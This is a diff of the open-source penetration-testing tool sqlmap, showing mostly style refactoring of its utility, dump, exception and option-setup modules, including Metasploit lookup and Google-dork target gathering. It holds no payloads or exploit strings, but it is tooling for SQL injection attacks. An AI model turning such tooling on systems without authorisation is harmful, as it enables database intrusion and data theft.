return "".join([chr(char) for char in struct.unpack("!"+"I"*(len(packedString)/4), packedString)])
|
||||||
|
|
||||||
|
|
||||||
def ordencode(string):
|
def ordencode(string):
|
||||||
return tuple([ord(char) for char in string])
|
return tuple([ord(char) for char in string])
|
||||||
|
|
||||||
|
|
||||||
def sha1hash(string):
|
def sha1hash(string):
|
||||||
return sha.new(string).hexdigest()
|
return sha.new(string).hexdigest()
|
||||||
|
|
||||||
|
|
||||||
def urldecode(string):
|
def urldecode(string):
|
||||||
if not string:
|
result = None
|
||||||
return
|
|
||||||
|
|
||||||
doublePercFreeString = string.replace("%%", "__DPERC__")
|
if string:
|
||||||
unquotedString = urllib.unquote_plus(doublePercFreeString)
|
result = urllib.unquote_plus(string)
|
||||||
unquotedString = unquotedString.replace("__DPERC__", "%%")
|
|
||||||
|
|
||||||
return unquotedString
|
|
||||||
|
|
||||||
|
return result
|
||||||
|
|
||||||
def urlencode(string, safe=":/?%&=", convall=False):
|
def urlencode(string, safe=":/?%&=", convall=False):
|
||||||
if not string:
|
result = None
|
||||||
return
|
|
||||||
|
|
||||||
if convall == True:
|
if string is None:
|
||||||
return urllib.quote(string)
|
return result
|
||||||
|
|
||||||
|
if convall:
|
||||||
|
result = urllib.quote(string)
|
||||||
else:
|
else:
|
||||||
return urllib.quote(string, safe)
|
result = urllib.quote(string, safe)
|
||||||
|
|
||||||
|
return result
|
||||||
|
|
|
@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
from lib.core.datatype import advancedDict
|
from lib.core.datatype import advancedDict
|
||||||
from lib.core.settings import LOGGER
|
from lib.core.settings import LOGGER
|
||||||
|
|
||||||
|
|
|
@ -22,10 +22,8 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
from lib.core.exception import sqlmapDataException
|
from lib.core.exception import sqlmapDataException
|
||||||
|
|
||||||
|
|
||||||
class advancedDict(dict):
|
class advancedDict(dict):
|
||||||
"""
|
"""
|
||||||
This class defines the sqlmap object, inheriting from Python data
|
This class defines the sqlmap object, inheriting from Python data
|
||||||
|
@ -45,7 +43,6 @@ class advancedDict(dict):
|
||||||
# After initialisation, setting attributes
|
# After initialisation, setting attributes
|
||||||
# is the same as setting an item
|
# is the same as setting an item
|
||||||
|
|
||||||
|
|
||||||
def __getattr__(self, item):
|
def __getattr__(self, item):
|
||||||
"""
|
"""
|
||||||
Maps values to attributes
|
Maps values to attributes
|
||||||
|
@ -57,7 +54,6 @@ class advancedDict(dict):
|
||||||
except KeyError:
|
except KeyError:
|
||||||
raise sqlmapDataException, "Unable to access item '%s'" % item
|
raise sqlmapDataException, "Unable to access item '%s'" % item
|
||||||
|
|
||||||
|
|
||||||
def __setattr__(self, item, value):
|
def __setattr__(self, item, value):
|
||||||
"""
|
"""
|
||||||
Maps attributes to values
|
Maps attributes to values
|
||||||
|
|
|
@ -22,16 +22,13 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import re
|
|
||||||
import os
|
import os
|
||||||
|
import re
|
||||||
|
|
||||||
from lib.core.common import dataToDumpFile
|
from lib.core.common import dataToDumpFile
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
|
|
||||||
|
|
||||||
class Dump:
|
class Dump:
|
||||||
"""
|
"""
|
||||||
This class defines methods used to parse and output the results
|
This class defines methods used to parse and output the results
|
||||||
|
@ -43,7 +40,6 @@ class Dump:
|
||||||
self.__outputFile = None
|
self.__outputFile = None
|
||||||
self.__outputFP = None
|
self.__outputFP = None
|
||||||
|
|
||||||
|
|
||||||
def __write(self, data, n=True):
|
def __write(self, data, n=True):
|
||||||
if n:
|
if n:
|
||||||
print data
|
print data
|
||||||
|
@ -56,12 +52,10 @@ class Dump:
|
||||||
|
|
||||||
conf.loggedToOut = True
|
conf.loggedToOut = True
|
||||||
|
|
||||||
|
|
||||||
def setOutputFile(self):
|
def setOutputFile(self):
|
||||||
self.__outputFile = "%s%slog" % (conf.outputPath, os.sep)
|
self.__outputFile = "%s%slog" % (conf.outputPath, os.sep)
|
||||||
self.__outputFP = open(self.__outputFile, "a")
|
self.__outputFP = open(self.__outputFile, "a")
|
||||||
|
|
||||||
|
|
||||||
def string(self, header, data, sort=True):
|
def string(self, header, data, sort=True):
|
||||||
if isinstance(data, (list, tuple, set)):
|
if isinstance(data, (list, tuple, set)):
|
||||||
self.lister(header, data, sort)
|
self.lister(header, data, sort)
|
||||||
|
@ -82,12 +76,11 @@ class Dump:
|
||||||
else:
|
else:
|
||||||
self.__write("%s:\tNone\n" % header)
|
self.__write("%s:\tNone\n" % header)
|
||||||
|
|
||||||
|
|
||||||
def lister(self, header, elements, sort=True):
|
def lister(self, header, elements, sort=True):
|
||||||
if elements:
|
if elements:
|
||||||
self.__write("%s [%d]:" % (header, len(elements)))
|
self.__write("%s [%d]:" % (header, len(elements)))
|
||||||
|
|
||||||
if sort == True:
|
if sort:
|
||||||
try:
|
try:
|
||||||
elements = set(elements)
|
elements = set(elements)
|
||||||
elements = list(elements)
|
elements = list(elements)
|
||||||
|
@ -104,7 +97,6 @@ class Dump:
|
||||||
if elements:
|
if elements:
|
||||||
self.__write("")
|
self.__write("")
|
||||||
|
|
||||||
|
|
||||||
def userSettings(self, header, userSettings, subHeader):
|
def userSettings(self, header, userSettings, subHeader):
|
||||||
self.__areAdmins = set()
|
self.__areAdmins = set()
|
||||||
|
|
||||||
|
@ -132,7 +124,6 @@ class Dump:
|
||||||
self.__write(" %s: %s" % (subHeader, setting))
|
self.__write(" %s: %s" % (subHeader, setting))
|
||||||
print
|
print
|
||||||
|
|
||||||
|
|
||||||
def dbTables(self, dbTables):
|
def dbTables(self, dbTables):
|
||||||
if not isinstance(dbTables, dict):
|
if not isinstance(dbTables, dict):
|
||||||
self.string("tables", dbTables)
|
self.string("tables", dbTables)
|
||||||
|
@ -165,7 +156,6 @@ class Dump:
|
||||||
|
|
||||||
self.__write("+%s+\n" % lines)
|
self.__write("+%s+\n" % lines)
|
||||||
|
|
||||||
|
|
||||||
def dbTableColumns(self, tableColumns):
|
def dbTableColumns(self, tableColumns):
|
||||||
for db, tables in tableColumns.items():
|
for db, tables in tableColumns.items():
|
||||||
if not db:
|
if not db:
|
||||||
|
@ -211,7 +201,6 @@ class Dump:
|
||||||
|
|
||||||
self.__write("+%s+%s+\n" % (lines1, lines2))
|
self.__write("+%s+%s+\n" % (lines1, lines2))
|
||||||
|
|
||||||
|
|
||||||
def dbTableValues(self, tableValues):
|
def dbTableValues(self, tableValues):
|
||||||
db = tableValues["__infos__"]["db"]
|
db = tableValues["__infos__"]["db"]
|
||||||
if not db:
|
if not db:
|
||||||
|
@ -306,7 +295,6 @@ class Dump:
|
||||||
|
|
||||||
logger.info("Table '%s.%s' dumped to CSV file '%s'" % (db, table, dumpFileName))
|
logger.info("Table '%s.%s' dumped to CSV file '%s'" % (db, table, dumpFileName))
|
||||||
|
|
||||||
|
|
||||||
# object to manage how to print the retrieved queries output to
|
# object to manage how to print the retrieved queries output to
|
||||||
# standard output and sessions file
|
# standard output and sessions file
|
||||||
dumper = Dump()
|
dumper = Dump()
|
||||||
|
|
|
@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
from lib.core.settings import PLATFORM
|
from lib.core.settings import PLATFORM
|
||||||
from lib.core.settings import PYVERSION
|
from lib.core.settings import PYVERSION
|
||||||
from lib.core.settings import VERSION
|
from lib.core.settings import VERSION
|
||||||
|
@ -33,67 +31,51 @@ from lib.core.settings import VERSION_STRING
|
||||||
class sqlmapConnectionException(Exception):
|
class sqlmapConnectionException(Exception):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
class sqlmapDataException(Exception):
|
class sqlmapDataException(Exception):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
class sqlmapFilePathException(Exception):
|
class sqlmapFilePathException(Exception):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
class sqlmapGenericException(Exception):
|
class sqlmapGenericException(Exception):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
class sqlmapMissingDependence(Exception):
|
class sqlmapMissingDependence(Exception):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
class sqlmapMissingMandatoryOptionException(Exception):
|
class sqlmapMissingMandatoryOptionException(Exception):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
class sqlmapMissingPrivileges(Exception):
|
class sqlmapMissingPrivileges(Exception):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
class sqlmapNoneDataException(Exception):
|
class sqlmapNoneDataException(Exception):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
class sqlmapNotVulnerableException(Exception):
|
class sqlmapNotVulnerableException(Exception):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
class sqlmapRegExprException(Exception):
|
class sqlmapRegExprException(Exception):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
class sqlmapSyntaxException(Exception):
|
class sqlmapSyntaxException(Exception):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
class sqlmapThreadException(Exception):
|
class sqlmapThreadException(Exception):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
class sqlmapUndefinedMethod(Exception):
|
class sqlmapUndefinedMethod(Exception):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
class sqlmapUnsupportedDBMSException(Exception):
|
class sqlmapUnsupportedDBMSException(Exception):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
class sqlmapUnsupportedFeatureException(Exception):
|
class sqlmapUnsupportedFeatureException(Exception):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
class sqlmapValueException(Exception):
|
class sqlmapValueException(Exception):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
def unhandledException():
|
def unhandledException():
|
||||||
errMsg = "unhandled exception in %s, please copy " % VERSION_STRING
|
errMsg = "unhandled exception in %s, please copy " % VERSION_STRING
|
||||||
errMsg += "the command line and the following text and send by e-mail "
|
errMsg += "the command line and the following text and send by e-mail "
|
||||||
|
@ -103,7 +85,6 @@ def unhandledException():
|
||||||
errMsg += "Operating system: %s" % PLATFORM
|
errMsg += "Operating system: %s" % PLATFORM
|
||||||
return errMsg
|
return errMsg
|
||||||
|
|
||||||
|
|
||||||
exceptionsTuple = (
|
exceptionsTuple = (
|
||||||
sqlmapConnectionException,
|
sqlmapConnectionException,
|
||||||
sqlmapDataException,
|
sqlmapDataException,
|
||||||
|
|
|
@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import cookielib
|
import cookielib
|
||||||
import ctypes
|
import ctypes
|
||||||
import difflib
|
import difflib
|
||||||
|
@ -40,6 +38,7 @@ from lib.core.common import getFileType
|
||||||
from lib.core.common import parseTargetUrl
|
from lib.core.common import parseTargetUrl
|
||||||
from lib.core.common import paths
|
from lib.core.common import paths
|
||||||
from lib.core.common import randomRange
|
from lib.core.common import randomRange
|
||||||
|
from lib.core.common import sanitizeCookie
|
||||||
from lib.core.common import sanitizeStr
|
from lib.core.common import sanitizeStr
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
|
@ -70,11 +69,9 @@ from lib.parse.queriesfile import queriesParser
|
||||||
from lib.request.proxy import ProxyHTTPSHandler
|
from lib.request.proxy import ProxyHTTPSHandler
|
||||||
from lib.utils.google import Google
|
from lib.utils.google import Google
|
||||||
|
|
||||||
|
|
||||||
authHandler = urllib2.BaseHandler()
|
authHandler = urllib2.BaseHandler()
|
||||||
proxyHandler = urllib2.BaseHandler()
|
proxyHandler = urllib2.BaseHandler()
|
||||||
|
|
||||||
|
|
||||||
def __urllib2Opener():
|
def __urllib2Opener():
|
||||||
"""
|
"""
|
||||||
This function creates the urllib2 OpenerDirector.
|
This function creates the urllib2 OpenerDirector.
|
||||||
|
@ -86,12 +83,14 @@ def __urllib2Opener():
|
||||||
debugMsg = "creating HTTP requests opener object"
|
debugMsg = "creating HTTP requests opener object"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
if conf.dropSetCookie:
|
||||||
|
opener = urllib2.build_opener(proxyHandler, authHandler)
|
||||||
|
else:
|
||||||
conf.cj = cookielib.LWPCookieJar()
|
conf.cj = cookielib.LWPCookieJar()
|
||||||
opener = urllib2.build_opener(proxyHandler, authHandler, urllib2.HTTPCookieProcessor(conf.cj))
|
opener = urllib2.build_opener(proxyHandler, authHandler, urllib2.HTTPCookieProcessor(conf.cj))
|
||||||
|
|
||||||
urllib2.install_opener(opener)
|
urllib2.install_opener(opener)
|
||||||
|
|
||||||
|
|
||||||
def __feedTargetsDict(reqFile, addedTargetUrls):
|
def __feedTargetsDict(reqFile, addedTargetUrls):
|
||||||
fp = open(reqFile, "r")
|
fp = open(reqFile, "r")
|
||||||
|
|
||||||
|
@ -173,7 +172,6 @@ def __feedTargetsDict(reqFile, addedTargetUrls):
|
||||||
kb.targetUrls.add(( url, method, data, cookie ))
|
kb.targetUrls.add(( url, method, data, cookie ))
|
||||||
addedTargetUrls.add(url)
|
addedTargetUrls.add(url)
|
||||||
|
|
||||||
|
|
||||||
def __setMultipleTargets():
|
def __setMultipleTargets():
|
||||||
"""
|
"""
|
||||||
Define a configuration parameter if we are running in multiple target
|
Define a configuration parameter if we are running in multiple target
|
||||||
|
@ -218,7 +216,6 @@ def __setMultipleTargets():
|
||||||
infoMsg += "testable requests from the targets list"
|
infoMsg += "testable requests from the targets list"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
|
||||||
def __setGoogleDorking():
|
def __setGoogleDorking():
|
||||||
"""
|
"""
|
||||||
This function checks if the way to request testable hosts is through
|
This function checks if the way to request testable hosts is through
|
||||||
|
@ -266,7 +263,6 @@ def __setGoogleDorking():
|
||||||
errMsg += "have GET parameters to test for SQL injection"
|
errMsg += "have GET parameters to test for SQL injection"
|
||||||
raise sqlmapGenericException, errMsg
|
raise sqlmapGenericException, errMsg
|
||||||
|
|
||||||
|
|
||||||
def __setMetasploit():
|
def __setMetasploit():
|
||||||
if not conf.osPwn and not conf.osSmb and not conf.osBof:
|
if not conf.osPwn and not conf.osSmb and not conf.osBof:
|
||||||
return
|
return
|
||||||
|
@ -276,7 +272,7 @@ def __setMetasploit():
|
||||||
|
|
||||||
msfEnvPathExists = False
|
msfEnvPathExists = False
|
||||||
|
|
||||||
if IS_WIN is True:
|
if IS_WIN:
|
||||||
warnMsg = "Metasploit's msfconsole and msfcli are not supported "
|
warnMsg = "Metasploit's msfconsole and msfcli are not supported "
|
||||||
warnMsg += "on the native Windows Ruby interpreter. Please "
|
warnMsg += "on the native Windows Ruby interpreter. Please "
|
||||||
warnMsg += "install Metasploit, Python interpreter and sqlmap on "
|
warnMsg += "install Metasploit, Python interpreter and sqlmap on "
|
||||||
|
@ -300,7 +296,7 @@ def __setMetasploit():
|
||||||
if isinstance(isAdmin, (int, float, long)) and isAdmin == 0:
|
if isinstance(isAdmin, (int, float, long)) and isAdmin == 0:
|
||||||
isAdmin = True
|
isAdmin = True
|
||||||
|
|
||||||
elif IS_WIN is True:
|
elif IS_WIN:
|
||||||
isAdmin = ctypes.windll.shell32.IsUserAnAdmin()
|
isAdmin = ctypes.windll.shell32.IsUserAnAdmin()
|
||||||
|
|
||||||
if isinstance(isAdmin, (int, float, long)) and isAdmin == 1:
|
if isinstance(isAdmin, (int, float, long)) and isAdmin == 1:
|
||||||
|
@ -349,14 +345,14 @@ def __setMetasploit():
|
||||||
warnMsg += "Framework 3 is installed"
|
warnMsg += "Framework 3 is installed"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
if msfEnvPathExists != True:
|
if not msfEnvPathExists:
|
||||||
warnMsg = "sqlmap is going to look for Metasploit Framework 3 "
|
warnMsg = "sqlmap is going to look for Metasploit Framework 3 "
|
||||||
warnMsg += "installation into the environment paths"
|
warnMsg += "installation into the environment paths"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
envPaths = os.environ["PATH"]
|
envPaths = os.environ["PATH"]
|
||||||
|
|
||||||
if IS_WIN is True:
|
if IS_WIN:
|
||||||
envPaths = envPaths.split(";")
|
envPaths = envPaths.split(";")
|
||||||
else:
|
else:
|
||||||
envPaths = envPaths.split(":")
|
envPaths = envPaths.split(":")
|
||||||
|
@ -379,12 +375,11 @@ def __setMetasploit():
|
||||||
|
|
||||||
break
|
break
|
||||||
|
|
||||||
if msfEnvPathExists != True:
|
if not msfEnvPathExists:
|
||||||
errMsg = "unable to locate Metasploit Framework 3 installation. "
|
errMsg = "unable to locate Metasploit Framework 3 installation. "
|
||||||
errMsg += "Get it from http://metasploit.com/framework/download/"
|
errMsg += "Get it from http://metasploit.com/framework/download/"
|
||||||
raise sqlmapFilePathException, errMsg
|
raise sqlmapFilePathException, errMsg
|
||||||
|
|
||||||
|
|
||||||
def __setWriteFile():
|
def __setWriteFile():
|
||||||
if not conf.wFile:
|
if not conf.wFile:
|
||||||
return
|
return
|
||||||
|
@ -403,9 +398,8 @@ def __setWriteFile():
|
||||||
|
|
||||||
conf.wFileType = getFileType(conf.wFile)
|
conf.wFileType = getFileType(conf.wFile)
|
||||||
|
|
||||||
|
|
||||||
def __setUnionTech():
|
def __setUnionTech():
|
||||||
if conf.uTech == None:
|
if conf.uTech is None:
|
||||||
conf.uTech = "NULL"
|
conf.uTech = "NULL"
|
||||||
|
|
||||||
return
|
return
|
||||||
|
@ -428,7 +422,6 @@ def __setUnionTech():
|
||||||
debugMsg += "'%s'" % uTechOriginal
|
debugMsg += "'%s'" % uTechOriginal
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
|
||||||
def __setOS():
|
def __setOS():
|
||||||
"""
|
"""
|
||||||
Force the back-end DBMS operating system option.
|
Force the back-end DBMS operating system option.
|
||||||
|
@ -451,7 +444,6 @@ def __setOS():
|
||||||
errMsg += "you."
|
errMsg += "you."
|
||||||
raise sqlmapUnsupportedDBMSException, errMsg
|
raise sqlmapUnsupportedDBMSException, errMsg
|
||||||
|
|
||||||
|
|
||||||
def __setDBMS():
|
def __setDBMS():
|
||||||
"""
|
"""
|
||||||
Force the back-end DBMS option.
|
Force the back-end DBMS option.
|
||||||
|
@ -482,12 +474,10 @@ def __setDBMS():
|
||||||
errMsg += "fingerprint it for you."
|
errMsg += "fingerprint it for you."
|
||||||
raise sqlmapUnsupportedDBMSException, errMsg
|
raise sqlmapUnsupportedDBMSException, errMsg
|
||||||
|
|
||||||
|
|
||||||
def __setThreads():
|
def __setThreads():
|
||||||
if not isinstance(conf.threads, int) or conf.threads <= 0:
|
if not isinstance(conf.threads, int) or conf.threads <= 0:
|
||||||
conf.threads = 1
|
conf.threads = 1
|
||||||
|
|
||||||
|
|
||||||
def __setHTTPProxy():
|
def __setHTTPProxy():
|
||||||
"""
|
"""
|
||||||
Check and set the HTTP proxy to pass by all HTTP requests.
|
Check and set the HTTP proxy to pass by all HTTP requests.
|
||||||
|
@ -526,7 +516,6 @@ def __setHTTPProxy():
|
||||||
else:
|
else:
|
||||||
proxyHandler = urllib2.ProxyHandler({"http": __proxyString})
|
proxyHandler = urllib2.ProxyHandler({"http": __proxyString})
|
||||||
|
|
||||||
|
|
||||||
def __setHTTPAuthentication():
|
def __setHTTPAuthentication():
|
||||||
"""
|
"""
|
||||||
Check and set the HTTP authentication method (Basic, Digest or NTLM),
|
Check and set the HTTP authentication method (Basic, Digest or NTLM),
|
||||||
|
@ -588,7 +577,6 @@ def __setHTTPAuthentication():
|
||||||
|
|
||||||
authHandler = HTTPNtlmAuthHandler.HTTPNtlmAuthHandler(passwordMgr)
|
authHandler = HTTPNtlmAuthHandler.HTTPNtlmAuthHandler(passwordMgr)
|
||||||
|
|
||||||
|
|
||||||
def __setHTTPMethod():
|
def __setHTTPMethod():
|
||||||
"""
|
"""
|
||||||
Check and set the HTTP method to perform HTTP requests through.
|
Check and set the HTTP method to perform HTTP requests through.
|
||||||
|
@ -610,7 +598,6 @@ def __setHTTPMethod():
|
||||||
debugMsg = "setting the HTTP method to %s" % conf.method
|
debugMsg = "setting the HTTP method to %s" % conf.method
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
|
||||||
def __setHTTPExtraHeaders():
|
def __setHTTPExtraHeaders():
|
||||||
if conf.hostname:
|
if conf.hostname:
|
||||||
conf.httpHeaders.append(("Host", conf.hostname))
|
conf.httpHeaders.append(("Host", conf.hostname))
|
||||||
|
@ -632,7 +619,6 @@ def __setHTTPExtraHeaders():
|
||||||
conf.httpHeaders.append(("Accept-Language", "en-us,en;q=0.5"))
|
conf.httpHeaders.append(("Accept-Language", "en-us,en;q=0.5"))
|
||||||
conf.httpHeaders.append(("Accept-Charset", "ISO-8859-15,utf-8;q=0.7,*;q=0.7"))
|
conf.httpHeaders.append(("Accept-Charset", "ISO-8859-15,utf-8;q=0.7,*;q=0.7"))
|
||||||
|
|
||||||
|
|
||||||
def __defaultHTTPUserAgent():
|
def __defaultHTTPUserAgent():
|
||||||
"""
|
"""
|
||||||
@return: default sqlmap HTTP User-Agent header
|
@return: default sqlmap HTTP User-Agent header
|
||||||
|
@ -648,7 +634,6 @@ def __defaultHTTPUserAgent():
|
||||||
# updated at March 2009
|
# updated at March 2009
|
||||||
#return "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)"
|
#return "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)"
|
||||||
|
|
||||||
|
|
||||||
def __setHTTPUserAgent():
|
def __setHTTPUserAgent():
|
||||||
"""
|
"""
|
||||||
Set the HTTP User-Agent header.
|
Set the HTTP User-Agent header.
|
||||||
|
@ -712,7 +697,6 @@ def __setHTTPUserAgent():
|
||||||
logMsg += "file '%s': %s" % (conf.userAgentsFile, __userAgent)
|
logMsg += "file '%s': %s" % (conf.userAgentsFile, __userAgent)
|
||||||
logger.info(logMsg)
|
logger.info(logMsg)
|
||||||
|
|
||||||
|
|
||||||
def __setHTTPReferer():
|
def __setHTTPReferer():
|
||||||
"""
|
"""
|
||||||
Set the HTTP Referer
|
Set the HTTP Referer
|
||||||
|
@ -724,7 +708,6 @@ def __setHTTPReferer():
|
||||||
|
|
||||||
conf.httpHeaders.append(("Referer", conf.referer))
|
conf.httpHeaders.append(("Referer", conf.referer))
|
||||||
|
|
||||||
|
|
||||||
def __setHTTPCookies():
|
def __setHTTPCookies():
|
||||||
"""
|
"""
|
||||||
Set the HTTP Cookie header
|
Set the HTTP Cookie header
|
||||||
|
@ -734,10 +717,11 @@ def __setHTTPCookies():
|
||||||
debugMsg = "setting the HTTP Cookie header"
|
debugMsg = "setting the HTTP Cookie header"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
conf.cookie = sanitizeCookie(conf.cookie, True)
|
||||||
|
|
||||||
conf.httpHeaders.append(("Connection", "Keep-Alive"))
|
conf.httpHeaders.append(("Connection", "Keep-Alive"))
|
||||||
conf.httpHeaders.append(("Cookie", conf.cookie))
|
conf.httpHeaders.append(("Cookie", conf.cookie))
|
||||||
|
|
||||||
|
|
||||||
def __setHTTPTimeout():
|
def __setHTTPTimeout():
|
||||||
"""
|
"""
|
||||||
Set the HTTP timeout
|
Set the HTTP timeout
|
||||||
|
@ -760,7 +744,6 @@ def __setHTTPTimeout():
|
||||||
|
|
||||||
socket.setdefaulttimeout(conf.timeout)
|
socket.setdefaulttimeout(conf.timeout)
|
||||||
|
|
||||||
|
|
||||||
def __cleanupOptions():
|
def __cleanupOptions():
|
||||||
"""
|
"""
|
||||||
Cleanup configuration attributes.
|
Cleanup configuration attributes.
|
||||||
|
@ -808,7 +791,6 @@ def __cleanupOptions():
|
||||||
if conf.googleDork or conf.list:
|
if conf.googleDork or conf.list:
|
||||||
conf.multipleTargets = True
|
conf.multipleTargets = True
|
||||||
|
|
||||||
|
|
||||||
def __setConfAttributes():
|
def __setConfAttributes():
|
||||||
"""
|
"""
|
||||||
This function set some needed attributes into the configuration
|
This function set some needed attributes into the configuration
|
||||||
|
@ -843,7 +825,6 @@ def __setConfAttributes():
|
||||||
conf.threadException = False
|
conf.threadException = False
|
||||||
conf.wFileType = None
|
conf.wFileType = None
|
||||||
|
|
||||||
|
|
||||||
def __setKnowledgeBaseAttributes():
|
def __setKnowledgeBaseAttributes():
|
||||||
"""
|
"""
|
||||||
This function set some needed attributes into the knowledge base
|
This function set some needed attributes into the knowledge base
|
||||||
|
@ -862,7 +843,7 @@ def __setKnowledgeBaseAttributes():
|
||||||
kb.dbmsDetected = False
|
kb.dbmsDetected = False
|
||||||
|
|
||||||
# Active (extensive) back-end DBMS fingerprint
|
# Active (extensive) back-end DBMS fingerprint
|
||||||
kb.dbmsVersion = []
|
kb.dbmsVersion = [ "Unknown" ]
|
||||||
|
|
||||||
kb.dep = None
|
kb.dep = None
|
||||||
kb.docRoot = None
|
kb.docRoot = None
|
||||||
|
@ -888,7 +869,6 @@ def __setKnowledgeBaseAttributes():
|
||||||
kb.unionCount = None
|
kb.unionCount = None
|
||||||
kb.unionPosition = None
|
kb.unionPosition = None
|
||||||
|
|
||||||
|
|
||||||
def __saveCmdline():
|
def __saveCmdline():
|
||||||
"""
|
"""
|
||||||
Saves the command line options on a sqlmap configuration INI file
|
Saves the command line options on a sqlmap configuration INI file
|
||||||
|
@ -918,7 +898,7 @@ def __saveCmdline():
|
||||||
optionData.sort()
|
optionData.sort()
|
||||||
|
|
||||||
for option, value, datatype in optionData:
|
for option, value, datatype in optionData:
|
||||||
if value == None:
|
if value is None:
|
||||||
if datatype == "boolean":
|
if datatype == "boolean":
|
||||||
value = "False"
|
value = "False"
|
||||||
elif datatype in ( "integer", "float" ):
|
elif datatype in ( "integer", "float" ):
|
||||||
|
@ -942,13 +922,12 @@ def __saveCmdline():
|
||||||
infoMsg = "saved command line options on '%s' configuration file" % paths.SQLMAP_CONFIG
|
infoMsg = "saved command line options on '%s' configuration file" % paths.SQLMAP_CONFIG
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
|
||||||
def __setVerbosity():
|
def __setVerbosity():
|
||||||
"""
|
"""
|
||||||
This function set the verbosity of sqlmap output messages.
|
This function set the verbosity of sqlmap output messages.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if conf.verbose == None:
|
if conf.verbose is None:
|
||||||
conf.verbose = 1
|
conf.verbose = 1
|
||||||
|
|
||||||
conf.verbose = int(conf.verbose)
|
conf.verbose = int(conf.verbose)
|
||||||
|
@ -965,7 +944,6 @@ def __setVerbosity():
|
||||||
elif conf.verbose >= 4:
|
elif conf.verbose >= 4:
|
||||||
logger.setLevel(8)
|
logger.setLevel(8)
|
||||||
|
|
||||||
|
|
||||||
def __mergeOptions(inputOptions):
|
def __mergeOptions(inputOptions):
|
||||||
"""
|
"""
|
||||||
Merge command line options with configuration file options.
|
Merge command line options with configuration file options.
|
||||||
|
@ -983,10 +961,9 @@ def __mergeOptions(inputOptions):
|
||||||
inputOptionsItems = inputOptions.__dict__.items()
|
inputOptionsItems = inputOptions.__dict__.items()
|
||||||
|
|
||||||
for key, value in inputOptionsItems:
|
for key, value in inputOptionsItems:
|
||||||
if not conf.has_key(key) or conf[key] == None or value != None:
|
if not conf.has_key(key) or conf[key] is None or value is not None:
|
||||||
conf[key] = value
|
conf[key] = value
|
||||||
|
|
||||||
|
|
||||||
def init(inputOptions=advancedDict()):
|
def init(inputOptions=advancedDict()):
|
||||||
"""
|
"""
|
||||||
Set attributes into both configuration and knowledge base singletons
|
Set attributes into both configuration and knowledge base singletons
|
||||||
|
|
|
@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
